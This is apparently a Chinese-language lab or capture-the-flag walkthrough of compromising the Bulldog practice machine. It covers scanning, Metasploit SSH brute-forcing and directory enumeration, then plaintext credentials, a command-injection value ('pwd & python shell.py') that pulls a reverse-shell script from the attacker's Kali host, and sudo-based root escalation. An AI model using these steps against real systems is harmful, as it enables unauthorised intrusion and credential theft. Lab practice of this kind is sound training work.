1.主机发现
方法一:netdiscover命令
netdiscover -i eth0 -r 192.168.109.0/24 主动,不扫描本机IP地址
netdiscover -p 被动,不容易被发现,只能扫到有交互的
-i 指定网卡 -r 指定网段
方法二:nmap命令
2.端口扫描
masscan kali下的工具(速度快,容易漏IP,一次没扫到,多扫几遍)
masscan --rate=10000 --ports 0-65535 192.168.109.151
--rate发包数(发包数默认为100个) --ports指定端口数
nmap -T4 -sV -O -p 8080,80,23 192.168.109.151 //nmap扫出详细信息
-T4:速度 -sV:版本扫描和开启的服务 -O:操作系统
3.信息收集分析
ssh服务端口开放,尝试检索:打开msfconsole
可以联想到进行ssh**,搜索ssh_login
发现辅助模块扫描ssh登录和ssh公钥登录
set rhosts 192.168.109.151(目标IP地址)
set user_file /root/user.txt #提前在根目录下写好
set pass_file /root/pass.txt
show missing(查看是否漏掉设置)
exploit(相当于run)
可利用脏牛提权
发现http服务,进行IP地址访问,找跳转点
查看指纹信息
用默认字典探测目录
dpkg -L dirb //查找字典
dirb http://192.168.109.151 (扫描网站目录,默认使用普通字典)
4.访问收集到的网站目录
尝试弱口令、抓包暴力**没有什么效果,接下来访问另一个网站目录看看
发现依旧需要身份验证才能使用web-shell,进入它的上一级目录看看
发现了一些邮箱信息,F12看看详细信息
用户名:nick 密码:bulldog
用户名:sarah 密码:bulldoglover
未能解密的用户,因为出了如下状况
此时,得到了两个用户名和密码信息,尝试身份验证登录
登录后,此时再次访问web-shell
执行命令如下:查看当前路径的目录文件
5.get shell 并提权
用python脚本去远程连接弹出shell进行提权(前面已经注意到网页是用到python的,所以此处用py脚本试试)
在Kali的web访问目录下准备shell.py;并执行python -m SimpleHTTPServer 80,搭建简易Web服务
注:web服务在/var/www/html目录下开启,当然也可以直接开启Apache服务 /etc/init.d/apache2 start;利用命令注入漏洞,在测试机Kali上写一个shell.py脚本,并将其上传到靶机上,使其执行,从而获得一个反弹shell。
其中,p=subprocess.call([“/bin/bash”,”-i”]) //连接打开交互式shell(/bin/bash)
上传
上传后可以看到上传成功
如果出现报错如下:
开启Apache服务务必在/var/www/html下开启才能成功,如果还报错,查看端口netstat -pantu 并 kill 80端口
在靶机上查看
不要关闭:python -m SimpleHTTPServer 80
重新打开一个窗口进行端口监听,然后在页面执行命令 'pwd & python shell.py',即可成功获得shell。
如果这里执行失败返回500,并且监听不到,那就是脚本有问题(大多数出现在中英文标点符号错误),修改后重新上传执行
查看监听,getshell成功
查看一些重要信息:cat /etc/passwd,有用户:bulldogadmin、django
之前访问页面执行命令pwd,知道了home路径,查看一下
查看当前目录下的所有文件的详细信息,发现一个隐藏目录 .hiddenadmindirectory //管理员隐藏目录
存在两个文件,一个可执行文件,一个note提示
strings 查看可执行文件中的字符(此处用cat查看不了,因为它是程序字符串,显示出来是乱码)
疑似密码:SUPERultimatePASSWORDyouCANTget
输入su root ,提示要运行一个终端
输入下面python -c 'import pty; pty.spawn("/bin/bash")' 运行终端,提示没有权限
再次执行sudo python -c 'import pty; pty.spawn("/bin/bash")'
至此,提权成功